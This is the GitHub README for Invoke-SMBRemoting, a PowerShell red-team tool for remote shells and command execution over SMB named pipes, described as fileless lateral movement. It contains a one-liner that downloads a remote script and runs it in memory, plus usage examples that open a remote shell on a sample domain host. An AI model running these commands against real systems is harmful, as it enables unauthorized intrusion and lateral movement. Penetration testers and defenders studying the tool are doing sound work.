Leo4j / Invoke-SMBRemoting

Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement

Home Page:https://github.com/Leo4j/Invoke-SMBRemoting

Repository from Github https://github.comLeo4j/Invoke-SMBRemotingRepository from Github https://github.comLeo4j/Invoke-SMBRemoting

Invoke-SMBRemoting

Interactive Shell and Command Execution over Named-Pipes (SMB)

Invoke-SMBRemoting utilizes the SMB protocol to establish a connection with the target machine, and sends commands (and receives outputs) using Named Pipes.

Note: The user you run the script as needs to be administrator over the target system

First, load the script in memory:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SMBRemoting/main/Invoke-SMBRemoting.ps1')

Interactive Shell

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local"
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService

Command Execution

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command whoami
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService -Command whoami

image

About

Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement

https://github.com/Leo4j/Invoke-SMBRemoting

License:GNU General Public License v3.0


Languages

Language:PowerShell 100.0%